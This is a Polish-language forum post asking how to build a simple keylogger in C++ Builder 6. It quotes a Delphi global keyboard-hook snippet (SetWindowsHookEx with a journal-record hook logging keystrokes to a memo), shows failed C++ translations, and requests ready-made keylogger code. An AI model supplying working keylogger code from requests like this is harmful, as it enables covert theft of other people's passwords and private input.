Witam
Czy mogl by mi ktos napisac jak zrobic prostego keyloggera ale w c++ builderze.
Prosil bym rowniez o krotki komentarz.
Wiem wiem zaraz mi odpiszecie www.google.pl -- ale nie w tym rzecz ze mi sie nie chce szukac wrecz przeciwnie -- znalazlem mnÓstwo przykladowych zrodel napisanych w delphi ogolem wydlada to tak:
function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;
var
Buffer: TEventMsg;
begin
result := 0 ;
Buffer := PEventMsg(lParam)^;
if Buffer.message = wm_KeyDown then
Form1.Memo1.Text := Form1.Memo1.Text + chr(Buffer.paraml);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
MainHook := SetWindowsHookEx(wh_JournalRecord, KeyHook, HInstance, 0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnhookWindowsHookEx(MainHook);
end;
Calosc opiera sie na stworzeniu globalnego doczepienia do systemu windows (tzw hooka), ktory bedzie przechwytywal komunikaty systemowe skierowane do watkow i aplikacji nim do nich dotra i przetwarzal je zgodnie z tzw funkcja filtrujaca. - Tyle ogolem i wystarczy :).
Moj problem polega na tym ze C++ builder nie buntuje sie przeciw takiemu zapisowi funkcji filtrujacej:
long int __stdcall KeyHook(int Code, WPARAM wParam, LPARAM lParam) //w win SDK tez znalazlem taki sposob deklaracji funkcji filtrujacej
{
TeventMsg Buffer=*PEventMsg(lParam);
}
Natomiast za poprawny uznaje zapis funkcji filtrujacej tego typu:
int __stdcall KeyHook()
{
TeventMsg Buffer=*PEventMsg(lParam); //i skad ja mam teraz wziasc lParam
}
A bez tych parametrow nie sposob wykonac funkcji PEventMsg(lParam) (tak na marginesie to co ta funkcja dokladnie robi - bo w helpie sie jej nie doszukalem, a na necie tez niewiele o niej pisza -- pozostaja mi tylko domysly).
Dlatego tez prosze albo o gotowy kod keyloggera pod buildera, albo wyjasnienie dlaczego tak jest i jak mozna sobie z tym poradzic.
Pozdrawiam marcellli
Ps Uzywam Buildera6